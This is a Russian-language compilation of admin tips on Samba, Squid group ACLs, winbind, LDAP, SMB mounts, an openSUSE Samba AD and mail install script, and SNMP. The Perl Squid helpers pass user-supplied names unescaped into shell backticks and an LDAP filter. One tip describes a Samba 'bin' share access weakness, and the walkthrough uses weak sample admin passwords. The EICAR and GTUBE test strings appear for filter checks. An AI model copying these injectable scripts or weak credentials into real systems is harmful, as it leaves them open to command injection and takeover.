    Здесь она исправлена.
    
    #!/usr/bin/perl -w
    #
    # external_acl helper to Squid to verify NT Domain group
    # membership using /usr/local/samba/bin/wbinfo
    #
    # This program is put in the public domain by Jerry Murdock
    # <jmurdock@itraktech.com>. It is distributed in the hope that it will
    # be useful, but WITHOUT ANY WARRANTY; without even the implied warranty
    # of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    #
    # Author:
    #   Jerry Murdock <jmurdock@itraktech.com>
    #
    # Version history:
    #   2002-07-05 Jerry Murdock <jmurdock@itraktech.com>
    #               Initial release
    #
    
    # external_acl uses shell style lines in it's protocol
    require 'shellwords.pl';
    
    # Disable output buffering
    $|=1;
    
    sub debug {
            # Uncomment this to enable debugging
            print STDERR "@_\n";
    }
    
    #
    # Check if a user belongs to a group
    #
    sub check {
            local($user, $group) = @_;
            $groupSID = `/usr/local/samba/bin/wbinfo -n "$group"`;
    #        chop  $groupSID;
            # because wbinfo -n also returns the group number
            $groupSID = substr($groupSID,0,index($groupSID," ",0));
            $groupGID = `/usr/local/samba/bin/wbinfo -Y "$groupSID"`;
            chop $groupGID;
    #       &debug( "User:  -$user-\nGroup: -$group-\nSID:   -$groupSID-\nGID:   -$groupGID-");
            return 'OK' if(`/usr/local/samba/bin/wbinfo -r \Q$user\E` =~ /^$groupGID$/m);
            return 'ERR';
    }
    #
    # Main loop
    #
    while (<STDIN>) {
            chop;
            &debug ("Got $_ from squid");
            ($user, $group) = &shellwords;
            $ans = &check($user, $group);
            &debug ("Sending $ans to squid");
            print "$ans\n";
    }
    
    ----------------------------------------------------------------------------------------------------------
    smb.conf
    
    [global]
            workgroup = YOU-DOMAIN
            realm = YOU-DOMAIN.RU
            netbios name = demon
            server string =  Proxy Server
            hosts allow = 10. 127.
            winbind separator = \\ # Обрати на это внимание
            winbind use default domain = yes
            winbind uid = 10000-20000
            winbind gid = 10000-20000
            winbind enum users = yes
            winbind enum groups = yes
            template homedir = /home/winnt/%D/%U
            template shell = /usr/local/bin/bash
            max log size = 50
            security = domain
            password server = srv1 srv3
            encrypt passwords = yes
    
    srv1 и srv3 - PRIMARY and BACKUP контроллеры домена
    
    ----------------------------------------------------------------------------------------------------------
    root@demon#tail -f /usr/local/squid/var/logs/cache.log
    Got YOU-DOMAIN\\user1 proxy-08-20ww from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-08-20aw from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-00-24all from squid
    Sending OK to squid
    # Тут явно видно, что пользователя user1 нашли в группе proxy-00-24all и squid'у передано OK
    Got YOU-DOMAIN\\user2 proxy-08-20ww from squid
    Sending OK to squid
    Got YOU-DOMAIN\\user3 proxy-08-20ww from squid
    Sending OK to squid
    
    root@demon#tail -f /usr/local/squid/var/logs/access.log
    1147851551.270     20 10.66.107.56 TCP_IMS_HIT/304 251 GET
    http://img.mail.ru/mail/ru/css/mail-main1.css YOU-DOMAIN\user1 NONE/- text/css
    
    
    Небольшое дополнение:
    
    Информация о членстве в группе хранится в кеше squida (по умолчанию) 1 час, а в
    кеше Winbinda - 300 сек.
     Чтобы не ждать столько времени при перемещении пользователя из одной группы в другую 
    советую добавить в squid.conf при описании внешиx ACL опцию ttl,примерно так:
    
    external_acl_type InetGroup-proxy-08-20ww ttl=0 %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    
    а в smb.conf:
    
    [global]
             winbind cache time = 0
    
     
    ----* Интеграция VPN на базе mpd в Active Directory.   Автор: spherix  [комментарии]
     
    Было дано:
     - Домен на Windows2003 с поднятым Kerberos.
     - FreeBSD на шлюзе, куда должны были подключаться пользователи.
     - VPN-демон mpd.
    
    Задача: заставить mpd брать пароли из домена.
    
    Решение:
    
     - Ставим третью самбу с поддержкой кербероса.
     - Настраиваем керберос
     - Подсоединяем самбу в домен.
     - Оставляем от нее только winbindd 
     - Ставим freeradius.
     - Сцепляем радиус с самбой.
     - Скручиваем mpd с радиусом и настраиваем сам mpd.
    
    Итог: управляем учетными записями VPN-пользователей через обычные средства AD, 
    а не пишем руками данные в файл. 
    
    Примечание1. Документация гласит, что можно связать радиус с керберосом. 
    То есть теоретически можно отказаться от самбы. Я так не делал, 
    поскольку подцепить через самбу мне лично было проще.
    
    Примечание2. Если использовать poptop, то можно не использовать 
    радиус, а использовать ntlm_auth из самбы. Тоже вариант.
    
    
    Файлы конфигурации: http://www.opennet.dev/base/net/mpd_win2003.txt.html
    
     
    ----* Samba 3 в качестве PDC.   Автор: AlxJoin  [комментарии]
     
    1.Программные пакеты которые пригодятся при установке и настройке PDC.
       samba-client-3.0.23-0.1.14rc2 или любая другая версия не ниже третьей.
       samba-3.0.23-0.1.14rc2 или любая другая версия не ниже третьей.
       webmin-1.270-1 для администрирования через веб-интерфейс.
    
    Пакет Samba последней версии можно скачать с сайта разработчика http://www.samba.org 
    и программу для администрирования через веб-интерфейс по адресу http://www.opencountry.com
    
    Для начала устанавливаем Samba и Webmin.
    
    После того как установили Samba нам потребуется отредактировать файл smb.conf 
    который находится в директории /etc/samba. 
    Пример рабочего файла который можно не править.
    
    # smb.conf is the main Samba configuration file. You find a full commented
    # version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
    # samba-doc package is installed.
    # Date: 2006-05-02
    [global]
    	workgroup = univer.local
    	printing = cups
    	printcap name = cups
    	printcap cache time = 750
    	cups options = raw
    	map to guest = Bad User
    	include = /etc/samba/dhcp.conf
    	logon path = \\%L\profiles\.msprofile
    	logon home = \\%L\%U\.9xprofile
    	logon drive = P:
    	add machine script = /usr/sbin/useradd  -c Machine -d /var/lib/nobody -s /bin/false %m$
    	domain logons = Yes
    	domain master = Yes
    	local master = Yes
    	netbios name = netserv1
    	os level = 65
    	preferred master = Yes
    	security = user
    	idmap gid = 10000-20000
    	idmap uid = 10000-20000
    [homes]
    	comment = Home Directories
    	valid users = %S, %D%w%S
    	browseable = No
    	read only = No
    	inherit acls = Yes
    [profiles]
    	comment = Network Profiles Service
    	path = %H
    	read only = No
    	store dos attributes = Yes
    	create mask = 0600
    	directory mask = 0700
    [users]
    	comment = All users
    	path = /home
    	read only = No
    	inherit acls = Yes
    	veto files = /aquota.user/groups/shares/
    [groups]
    	comment = All groups
    	path = /home/groups
    	read only = No
    	inherit acls = Yes
    [printers]
    	comment = All Printers
    	path = /var/tmp
    	printable = Yes
    	create mask = 0600
    	browseable = No
    [print$]
    	comment = Printer Drivers
    	path = /var/lib/samba/drivers
    	write list = @ntadmin root
    	force group = ntadmin
    	create mask = 0664
    	directory mask = 0775
    [netlogon]
    	comment = Network Logon Service
    	path = /var/lib/samba/netlogon
    	write list = root
    
    Для того что бы администрировать сервер придется поставить 
    программу удаленного администрирования через веб-интерфейс - Webmin. 
    После установки к серверу можно подключится через веб интерфейс по адресу https://localhost:10000 
    и там в службах есть настройка SMB-сервера, где можно Linux-пользователей
    копировать в SMB-пользователей.
    
     
    ----* Сборка Samba с авторизацией в домене 2003 на FreeBSD   Автор: Артём  [комментарии]
     Решил рассказать про проблемы с которыми я столкнулся при сборке самбы:
    1. В самбе 3.14a наблюдается некорректная запись в логи даже при правильной настройке.
    2. Были проблемы при сборке с heimdal. Команда id не выводила пользователей доменов при правильных конфигах, хотя всё работало.
    3. Чтобы керберос работал по tcp надо писать tcp/имя сервера:порт, а не kdc = tcp/server !
    4. Пока не обновил порты и не пересобрал базу портов ( смотрите статью "хитрости работы с портами") 5 керберос не собирался.
    5. После того как я решил переджойнить машину в домен, билет не хотел обновляться ни в какую. Пришлось ждать 10 часов пока он умрёт. Желающие могут поразвлекаться с утилитой управления билетами, которая входит в 2003 recourse kit и называется kutil.
    6. Решение - сразу обновить порты собирать только новое ! 3.0.22 на данный момент + 5 kerberos . Сразу включать его работу через tcp . После того как всё завелось ничего не переджойнивать и преспокойно раздавать шары.
    7. Без обновлений портов работала связка 3.0.14a + krb4 но ошибка в логи валилась и на живой домен я так и не смог это поднять , только на виртуальной машине.
     
    ----* SQUID в сети SAMBA + LDAP, использование групповых ACL   Автор: Афлетдинов Андрей  [комментарии]
     
    Имеем:
       1. Учетные записи пользователей и групп в LDAP
       2. Поднят домен на SAMBA-3.
    
    На стороне сервера SQUID конфигурируем:
       1. /etc/ldap.conf и /etc/nsswith.conf в результате getent passwd и getent group выдает список пользователей и групп
    
       2. минимальный /etc/smb.conf:
       
          [global]
              workgroup = domain
              netbios name = squid
              load printers = no
              printcap name = /dev/null
              security = domain
              password server = sambaserver
              local master = no
              os level = 33
              domain master = no
              preferred master = no
              wins support = no
              winbind use default domain = yes
              winbind cache time = 1200
    
       3. Заводим в домен net -Uadministrator join
    
       4. Запускаем winbind, но при этом в /etc/nsswith.conf его _не_прописываем_
    
       5. разрешаем чтение pipe winbindd процессу squid любым доступным способом, 
           например: setfacl -g:squid:rx /var/lib/samba/winbindd_privileged
    
       6. samba в дальнейшем не нужна
    
       7. далее в squid.conf:
    
          # стандартные опции авторизации
          auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
          auth_param ntlm children 5
          auth_param ntlm max_challenge_reuses 0
          auth_param ntlm max_challenge_lifetime 2 minutes
          auth_param ntlm use_ntlm_negotiate off
          auth_param basic program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-basic
          auth_param basic children 5
          auth_param basic realm Squid proxy-caching web server
          auth_param basic credentialsttl 2 hours
          auth_param basic casesensitive off
    
          # авторизация обязательна
          acl NTLMauth proxy_auth REQUIRED
    
          # определяем типы ACL
          external_acl_type type_ldap_group1 ttl=60 children=1 %LOGIN 
               /usr/lib/squid/   squid_ldap_group.pl -b "cn=group1,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group2 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group2,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group3 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group3,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
          # и сами ACL
          acl acl_group1 external type_ldap_group1
          acl acl_group2 external type_ldap_group2
          acl acl_group3 external type_ldap_group3
    
    ВСЕ. Дальше с ними можно работать как с обычными ACL, начиная от простого
         http_access allow acl_group1
    и заканчивая в вариантах пула и по времени.
    
    При изменении информации в группе LDAP, squid примет изменения только через
    время определенное в ttl, таким образом перезапускать его как -kreconfigure нет
    необходимости, что уже плюс!
    
    Да вот еще, сам скрипт /usr/lib/squid/squid_ldap_group.pl очень прост:
    
    #!/usr/bin/perl
    #
    # squid ldap group
    # mailto:afletdinov\@dc.baikal.ru
    #
    
    use Getopt::Long qw(:config no_ignore_case);
    use Net::LDAP;
    use strict;
    
    # const
    my $VERSION = '20051122';
    
    # variables
    my $ldap;
    my $user;
    my $result;
    #my $pass;
    
    my $opt_groupdn = '';
    my $opt_binddn = '';
    my $opt_bindpasswd = '';
    my $opt_secretfile = '';
    my $opt_uri = '';
    
    GetOptions(
                'b=s' => \$opt_groupdn,
                'D=s' => \$opt_binddn,
                'w=s' => \$opt_bindpasswd,
                'W=s' => \$opt_secretfile,
                'H=s' => \$opt_uri );
    
    # check: requires param
    &usage unless($opt_groupdn and $opt_uri);
    
    #connect
    $ldap = Net::LDAP->new($opt_uri) or die("connect $opt_uri failed!");
    
    # bind
    if($opt_binddn){
    
        # check: secretfile
        if($opt_secretfile){
            open(FILE, "<$opt_secretfile") or die("error read $opt_secretfile");
            $opt_bindpasswd = <FILE>;
            close(FILE); }
    
        $result = $ldap->bind($opt_binddn, password=>$opt_bindpasswd);
    
    # anonymous bind
    }else{ $result = $ldap->bind(); }
    
    $result->code and die($result->error);
    
    # use buffers off
    $| = 1;
    
    # BASIC
        while(<STDIN>){
            chomp;
    
            # format: user password
            unless(/^(\S+)\s*(\S*)$/){ print "ERR\n"; next; }
    
            $user = $1;
            #$pass = $2;
    
            # check: valid group
            $result = $ldap->search(base=>$opt_groupdn, , filter=>"(memberUid=$user)");
    
            # not found
            unless($result->count){ print "ERR\n"; next; }
    
            # auth: OK group: OK
            print "OK\n";
        }
    
    exit;
    
    sub usage(){
        print <<EOF;
    squid_ldap_group.pl version $VERSION
    
    Usage: squid_ldap_group.pl -b "cn=www-access,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
            -b GroupBaseDN    (REQUIRED)
            -H LdapURI        (REQUIRED)
            -D BindDN     
            -w BindPasswd
            -W SecretFile
    
    EOF
        exit;
    }
    
     
    ----* Работа samba совместно с group policy   Автор: Andrey  [комментарии]
     Group policy работают по схеме NT4. Для этого необходим poledit.exe winnt.adm common.adm.

    Запускаем poledit, загружаем необходимые шаблоны, редактируем default user либо отдельного пользователя, либо группу пользователей потом сохраняем в файл ntconfig.pol

    Почти все настройки определены в одном файле 1_ALLinONE.adm Только одно отличие, для win2k и winxp(win2k3) необходимы разные шаблоны. Его можно найти здесь.

    Сам файл ntconfig.pol необходимо разместить в параметре самбы netlogon path.

    Различия типов операционных систем решается просто через самбу в параметре netlogon path необходимо добавить параметр %a (тип клиентской системы), и в создать папки Win2K WinXP Win2K3, где и будут размещаться необходимый файлы ntconfig.pol

     
    ----* Как запустить Samba в jail (FreeBSD)   Автор: TLM  [комментарии]
     
    Мне удалось запустить Samba 3.0.11 в jail на FreeBSD 4.10 только после того, 
    как в smb.conf были вписаны следующие строчки:
    
       interfaces = 192.168.1.123/32
       bind interfaces only = yes
    
     
    ----* Использование smbfs через autofs   Автор: Konstantin  [комментарии]
     
    Пишем скрипт /etc/auto.smbfs примерно такой:
       #!/bin/sh
       a="${1/@//}"
       a="${a//\ /\\ }"
       echo -fstype=smbfs,username=guest,password=fmask=666,iocharset=cp1251,codepage=cp866 :"//$a"
    
    Параметры - по вкусу. automount как-то небрежно относится к пробелам в имени, но так работает.
    Ставим на файл бит исполнения:
       chmod +x /etc/auto.smbfs
    
    Далее в /etc/auto.master добавляется строка
       /var/autofs/smb   /etc/auto.smbfs
       где /var/autofs/smb  - точка монтирования.
    
    Стартуем:
       /etc/init.d/autofs restart
    
    Для удобства:
       ln -s /var/autofs/smb /smb
    
    Теперь можно обращатся к шаре "share" на хосте "host" вот так: 
       cd /smb/host@share
    по IP тоже работать должно.
    
    Всё написанное верно для дистрибутива debian sarge. Нужны пакеты autofs и smbfs.
    Желающие могут расширить фунциональность, прикрутив  к скрипту передачу логина\пароля через путь.
    
     
    ----* Как выключить w2k машину средствами samba (доп. ссылка 1)   Автор: arruah  [комментарии]
     
    rpcclient -c shutdowninit -U <пользователь с правами администратора%пароль> <ip удаленной машины>
    
     
    ----* шара bin в Samba   Автор: awk  [комментарии]
     
    Если подключиться к шаре bin на сервере samba, и пользователь bin не заведен в smbpasswd, 
    то получим доступ к / под freebsd и к /bin под linux. Причем доступ получаем от имени пользователя,
    под которым залогонились. Т.е., в большинстве случаев, пользователь может получить доступ, 
    как минимум по чтению, даже если шара от него закрыта, используя шару bin.
    Решается, путем добавления пользователя bin в smbpasswd или созданием и
    направлением шары bin на /dev/null
    
     
    ----* Монтирование SMB ресурса в FreeBSD   Автор: Николай Сеньков  [комментарии]
     
    Пересобираем ядро:
      options NETSMB             #SMB/CIFS requester
      options NETSMBCRYPTO  #encrypted password support for SMB
      options LIBMCHAIN     #mbuf management library
      options LIBICONV
      options SMBFS
    Коннектимся к удаленному SMB серверу:
       smbutil login //jwarner@smbserver1
    Монтируем русурс:
       mount_smbfs -N //jwarner@smbserver1/sharename /backup
    Отсоединяемся от SMB сервера:
       smbutil logout //jwarner@smbserver1
    
     
    ----* Символы подстановки переменных в Samba.   Автор: P.Kert  [обсудить]
     
    %S Имя текущей службы
    %P Корневой каталог текущей службы
    %u Пользователь текущей службы
    %g Основная группа %u
    %U Имя пользователя для сеанса (может отличаться от имени,запрошенного клиентом)
    %G Основная группа %U
    %H Домашний каталог пользователя
    %v Версия Samba
    %h Имя хоста, на котором работает Samba
    %m NetBIOS-имя компьютера-клиента
    %L NetBIOS имя сервера 
    %M Имя хоста для компьютера-клиента
    %N Имя NIS-сервера домашних каталогов. Значение определяется при помощи файла
    настройки системы NIS auto map.
       Если вы скомпилировали Samba  без automount, то значение совпадает с установленным для сервера NetBIOS именем
    %p Путь к домашнему каталогу службы. Определяется при помощи файла настройки
    системы NIS auto map, как %N:%p
    %R Выбранный после установления соединения уровень протокола
    %d Номер текущего серверного процесса
    %a Операционная система клиента (значение может быть неверным)
    %I IP-адрес клиентской машины
    %T Текущие дата и время
    
     
    ----* Как примонтировать удаленный SMB диск с русскими именами файлов.   [комментарии]
     
    Получаем список ресурсов:
         smbclient -L 192.168.0.9
    Монтируем:
    smbmount "//192.168.0.9/DISK (H)" /mnt/0 -o guest,iocharset=koi8-r,codepage=cp866
    
     
    ----* Как сделать Samb'у контроллером домена Windows NT/2000 (доп. ссылка 1)   Автор: Pasha Kustov  [комментарии]
     
    smb.conf:
      Domain logons=yes
      domain master=yes
      local master=yes
      os level=63
      preferred master=yes
      encrypt passwords=yes
      admin users=root pasha adm
      username map=/etc/samba/users.map
      admin group=@wheel
    /etc/samba/users.map:
      root=administrator
    # groupadd -d /home/samba -g 6666 SambaComputers
    Для каждой машины-члена домена в сети:
    # useradd -d /home/samba -u 66?? -g 6666 -s /bin/false ИмяМашины$
    Затем:
    # smbpasswd -a ИмяМашины$  (с пустым паролем)
    
     
    ----* Как включить поддержку SMBFS в FreeBSD и примонтировать удаленный windows ресурс.   [комментарии]
     
    пересобираем ядро:
      options NETSMB	      #SMB/CIFS requester
      options NETSMBCRYPTO  #encrypted password support for SMB
      options LIBMCHAIN     #mbuf management library
      options LIBICONV
      options SMBFS
    Коннектимся к удаленному SMB серверу:
       smbutil login //jwarner@smbserver1
    Монтируем русурс:
       mount_smbfs -N //jwarner@smbserver1/sharename /backup
    Отсоединяемся от SMB сервера:
       smbutil logout //jwarner@smbserver1
    
     
    ----* Что можно сделать для увеличения производительности samba ? (доп. ссылка 1)   [комментарии]
     
    В smb.conf:
         socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=4096 SO_RCVBUF=4096
         read size = 32768
         read raw = no
         read prediction = true
         write raw = yes
         wide links = no
         oplocks = yes
         max xmit = 65535
         dead time = 15
         getwd cache = yes
         lpq cache = 30
         level2 oplocks = true
    Linux:
        echo "100 1000 128 128 500 6000 6000 1884 2" >/proc/sys/vm/bdflush
    FreeBSD:
       /sbin/sysctl -w net.local.stream.recvspace=65535
       /sbin/sysctl -w net.local.stream.sendspace=65535
       /sbin/sysctl -w net.inet.tcp.sendspace=65535
       /sbin/sysctl -w net.inet.tcp.recvspace=65535
    
     
    ----* Как запретить запись файлов по определенной маске на Samba сервер   Автор: bass  [комментарии]
     
       veto files = /*.dll/
       veto files = /*.dll/*.exe/
       veto files = /*Security*/*.tmp/*root*/
    
     
    ----* Как позволить пользователям самим менять samba пароли со своих машин.   [комментарии]
     
    security = user
    encrypt passwords = yes
    smb passwd file = /etc/samba/smbpasswd
    unix password sync = yes
    passwd program = /usr/bin/passwd %u
    passwd chat = *New*password* %n\n *Please*retype*new*password* %n\n *password*successfully*updated*
    
     
    ----* Как правильно описать доступ к samba через hosts allow   [обсудить]
     
    hosts allow можно указывать в следующем виде:
        hosts allow = 192.168.1., 127.
        hosts allow = 192.168.1.0, 127.0.0.1/255.255.255.0
        hosts allow = 192.168., EXCEPT 192.168.1.100 
    
     
    ----* Как посмотреть список расшаренных ресурсов на Windows машине   [обсудить]
     
    IP машины - 1.2.3.4
    smbclient -I 1.2.3.4 -L NAME_SERVER
    или: nmblookup -r -A 1.2.3.4
    или: smbclient -N -L hostname -I 1.2.3.4
    или скрипт: smbfind или findsmb
    
     
    ----* Автоматизация установки Samba AD+DDNS+DHCPD и почтового сервера в openSUSE Leap 15.5 (доп. ссылка 1)   Автор: Геннадий Калашников  [комментарии]
     
    Подготовлен скрипт adc_install.sh (копия)  для упрощения миграции с
    продуктов Microsoft на Linux с контроллером домена на основе Samba. Скрипт
    автоматизирует установку  Samba AD+DDNS+DHCPD, почтового сервера на основе
    Postfix+Dovecot и FTP-сервера vstfpd в openSUSE Leap 15.5, что может оказаться
    полезным когда нужно быстро развернуть рабочую систему, а уже потом заниматься
    экспериментами и тонкой настройкой.
    
    
    Cкрипт запускается командой:
    
       ./adc_install.sh (-OPTION)
    
    Поддерживаемые параметры:
    
      -ad_install - Установить Samba_AD NAMED DHCPD.
    
      -ad_uninstall - Удалить конфигурацию Samba_AD.
    
      -ad_restart - Restart Samba_AD NAMED DHCPD.
    
      -ad_status - Status Samba_AD NAMED DHCPD.
    
      -ad_test - Прoверка работы Samba_AD.
    
      -uadd - Создать пользователя домена.
    
      -udel - Удалить пользователя домена.
    
      -gadd - Создать группу домена.
    
      -ugadd - Ввести пользователя в группу домена.
    
      -upass - Задать пароль пользователю домена
    
      -dhcp - Установить DHCPD.
      
      -dhcp_on - Включить DHCPD demon. Вводит IP-адрес и имя компьютера ( принтера, смартфона и пр.) в прямую и обратную зону DNS.
    
      -dhcp_off - Выключить DHCPD demon.
    
      -bind - Установить NAMED.
    
      -c_add - Ввеcти компьютер в DNS.
    
      -c_del - Удалить компьютер из DNS.
    
      -cname_add - Присвоить новое имя компьютеру - CNAME в DNS.
    
      -cname_del - Удалить имя компьютера - CNAME из DNS.
    
      -ns_add - Ввеcти NS запись для компьютера в обратную зону DNS.
    
      -mx_add - Ввеcти MX запись для компьютера в DNS.
    
      -ftp - Установить FTP Сервер VSTPD.
    
      -http - Установить HTTP Сервер Apache2.
    
      -mail_inst - Установить почтовый сервер.
    
      -mail_uninst - Удалить конфигурацию почтового серверa.
    
      -mail_restart - перезапуск почтового серверa.
    
      -mail_status - состояние почтового серверa.
    
      -mail_stop - остановка почтового серверa.
    
      -mail_test - тестирование почтового серверa.
    
      -padmin - Установить PostfixAdmin
    
      -madmin - Установить phpMyAdmin
    
      -rcube - Установить Roundcubemail
    
      -bsys - Бэкап внесённых изменений в систему
    
    
    
    
    
    Устанавливаем свежую версию openSUSE Leap 15.5 с официального сайта openSUSE
    Leap 15.5 - https://get.opensuse.org/leap/15.5/
    
     
    Приступим к установке Samba Active Directory Domain Controller, сопровождая
    этот процесс скриншотами
    
    Стартуем Yast2 и устанавливаем:
    
      1. Название сервера --> adc.dyhap.net
      2. Название домена --> dyhap.net
      3. IP адрес сервера --> 192.168.3.4
      4. Шлюз --> 192.168.3.2
      5. IP адрес внешнего DNS --> 192.168.1.1 и 1.1.1.1
    
    
    
    
    
    Мы видим - сервер получил нужные параметры.
    
    Теперь выполним команду:
    
       # ./adc_install.sh -ad_install
    
    
    
    
    Зададим пароль администратору Samba AD... ну скажем --> "OpenSUSE15".
    
    Зададим IP DNS --> 192.168.1.1
    
    
    
    
    Установка Samba AD+DDNS+DHCPD закончена.
    
    Осталось только сделать "reboot" сервера, чтобы наши установки вступили в силу.
    
    После старта проверим статус Samba AD, DNS и DHCP-Сервера.
    
    Выполним команду:
    
       # ./adc_install.sh -ad_restart
    
    ... и проверим статус сервера выполнив команду:
    
       # ./adc_install.sh -ad_status
    
    
    
    
    
    Сделаем тест системы.
    
    И выполним команду:
    
       # ./adc_install.sh -ad_test
    
    
    
    
    
    Теперь можем создать пользователя домена... ну скажем --> Wasja Pupkin.
    
    Выполним команду:
    
       # ./adc_install.sh -uadd
    
    
    
    
    Wasja Pupkin получил login для машины Windows в домене DYHAP: --> w.pupkin
    
    Так же netlogon скрипт: --> w.pupkin.bat
    И email-адрес: --> w.pupkin@dyhap.net
    
    Выполним команду:
    
       # ./adc_install.sh -mail_test
    
    А вот email-адреса "test_user@dyhap.net" как и пользователя домена "test_user" в системе нет.
    
    Создадим пользователя домена --> test_user.
    
    
    
    
    
    Установка Samba Active Directory Domain Controller закончена.
    
    
    Теперь приступим к установке почтового сервера.
    
    Выполнив команду:
    
       # ./adc_install.sh -mail_inst
    
    мы установим:
    
       1. service postfix
       2. service dovecot
       3. service amavis
       4. service spamd
       5. service clamd
       6. service clamav-milter
       7. service fail2ban
       8. service freshclam
    
    Для этого необходимо создать:
    
    1. ssl-сертификаты
    
    2. администратора почтового сервера... --> mailadmin
    
    3. пароль администратору mailadmin .. ну скажем --> "OpenSUSE15"
    
    
    
    
    
    
    Установка почтового Сервера закончена.
    
    
    Теперь можно добавить компьютер Windows по имени "win12" в домен Active Directory.
    
    1. Стартуем компьютер в локальной сети
    
    --> параметры сетевого адаптера получены от DHCP сервера
    
    2. "test_user" в домене --> DYHAP\test_user
    
    3. IP адрес win12.dyhap.net --> 192.168.3.50
    
    4. DHCP-Сервер ввёл win12.dyhap.net в DNS
    
    
    
    
    Стандартный процесс --> администратор "win12" вводит его в домен.
    
    
    
    
    
    
    В окне авторизации test_user указывает свои учетные данные и получает права на
    ввод в рабочей станции win12 в домен.
    
    
    
    
    Теперь test_user получил доступ к таким ресурсам в Active Directory,
    как электронная почта, приложения и сеть.
    
    При входе стартует скрипт "test_user.bat" и test_user получил доступ
    к таким ресурсам "Users" и "public" в сети Active Directory
    
    
    
    
    
    Домашний каталог test_user на сервере.
    
    1. Перемещаемый профиль --> test_user.V6
    
    2. Почтовый каталог --> Maildir
    
    
    
    
    
    Теперь протестируем работу почтового Сервера .
    
    Выполним команду:
    
       # ./adc_install.sh -mail_status
    
    
    
    [[IMG /soft/adc/mail/[33.jpg]]
    
    
    ...всё работает
    
    Стартуем на сервере почтовый клиент Thunderbird.
    
    1. Cоздадим учетную запись почты пользователя --> "mailadmin"
    
    2. "mailadmin" отправил письмо пользователю --> "gennadi@dyhap.net"
    
    3. Сообщение об ошибке можно проигнорировать и повторить
    
    4. Это информация о том, что ssl-сертификаты самодельные.
    
    
    
    
    
    
    
    
    
    
    Пользователь "gennadi" принимает письмо от "mailadmin" почтовым клиентом KMail openSUSE 15.5 .
    
    Стартуем на сервере почтовый клиент Kmail.
    
    1. Cоздадим учетную запись почты пользователя --> "gennadi"
    
    4. И принимаем информацию о том, что ssl-сертификаты самодельные.
    
    
    
    
    
    
    
    
    
    
    
    
    Пользователь "gennadi" получил письмо от "mailadmin" и отправляет ответ.
    
    Пользователь "mailadmin" отправляет письмо с тест-вирусом:
    
    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    
    --> на имя "gennadi". НО антивирус "clamd" заблокировал его.
    
    
    
    
    
    Пользователь "gennadi" отправляет письмо с ANTI-SPAM-TEST:
    
    XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X
    
    --> на имя "mailadmin". НО антиспам "amavis" отправляет его в карантин.
    
    
    
    
    
    
    ANTI-SPAM и ANTIVIRUS работают
    
     
    
    Cоздадим учетную запись почты пользователя "test_user" на компьютере "win12"
    
    
    
    
    
    
    Пользователь "test_user" получил письмо от "mailadmin" и отправляет ответ.
    
    
    
    
    
    
    Почтовый Сервер прекрасно работает. НО для работы в интернете нужны настоящие SSL-сертификаты.
    
    
    Установка Apache2+PHP8+SSL.
    
    Выполним команду:
    
       # ./adc_install.sh -http
    
    
    
    
    
    Установка phpMyAdmin.
    
    Выполним команду:
    
       # ./adc_install.sh -madmin
    
    login: root
    Password: OpenSUSE15
    
    
    
    
    Установка PostfixAdmin.
    
    Выполним команду:
    
       # ./adc_install.sh -padmin
    
    Setup password: OpenSUSE15
    
    
    
    
    
    
    
    
    Установка Roundcubemail.
    
    Выполним команду:
    
       # ./adc_install.sh -rcube
    
       imap_host = ssl://webmail.dyhap.net:993
       smtp_host = ssl://webmail.dyhap.net:465
    
    Любой пользователь домена получает права на пользование Roundcubemail.
    
    
    
    
    
    
    
    
    
    Установка VSFTPd Сервера.
    
    Выполним команду:
    
       # ./adc_install.sh -ftp
    
    
    
    
    
    
    VSFTPd Сервер прекрасно работает.
    
    Пользователь "test_user" получил права на пользование VSFTPd Сервером.
    
    
    
    
    
    
    
    
    
    
    
    
    Apache Directory Studio - это бесплатный инструмент среды разработки,
    предназначенный для создания и управления LDAP-серверами.
    
    
    LDAP (Lightweight Directory Access Protocol) - это протокол,
    используемый для доступа к каталогам, которые хранят
    информацию об объектах в системе.
    
    
    
    
    
    
    
    Это базовая установка Сервера.
    
    Ну вот...и всё, конфигурационные файлы известны и теперь вы можете точнее
    настроить сервер под свои нужды.
    
    
    Уточнение: в статье используются самоподписанные сертификаты, при необходимости
    их следует заменить на настоящие SSL-сертификаты.
    
     

       SNMP

    ----* Как по SNMP скинуть dialup пользователя с линии (Cisco AS)   [комментарии]
     
    Скинуть пользователя по заданному порту (N) можно через OID:
            1.3.6.1.4.1.9.9.150.1.1.3.1.5.N
            snmpset as-1.test.ru private .1.3.6.1.4.1.9.9.150.1.1.3.1.5.N i 1
    Соспоставить логин с номером порта можно через OID:
            1.3.6.1.4.1.9.9.150.1.1.3.1.2
    Или из FAQ: snmpset -v1 as-1.test.ru private .1.3.6.1.4.1.9.2.9.10.0 i $line
    
     
    ----* Как в UCD-SNMP прописать скрипт для обработки нужного MIB ObjectID   [обсудить]
     
    Полный контроль над MIBOID осуществляется с помощью команды pass.
    pass MIBOID EXEC-COMMAND
    Например: 
    pass .1.3.6.1.4.1.2021.255 /bin/sh /usr/local/local/passtest
    Как писать обработчик passtest, можно найти в поставке ucd-snmp.
    Если просто нужно выдать результат выполнения скрипта, можно использовать exec:
    exec .1.3.6.1.4.1.2021.51 ps /bin/ps 
    
     

       Socks proxy

    ----* Организация работы Opera и других приложений через Socks (доп. ссылка 1)   [комментарии]
     
    Если на локальной машине кроме socks имеется выход в интернет или доступ к
    DNS-резолверу, проблем не возникает, но если выход машины производится только
    через socks при запуске программ подобных браузеру opera всплывает неприятная
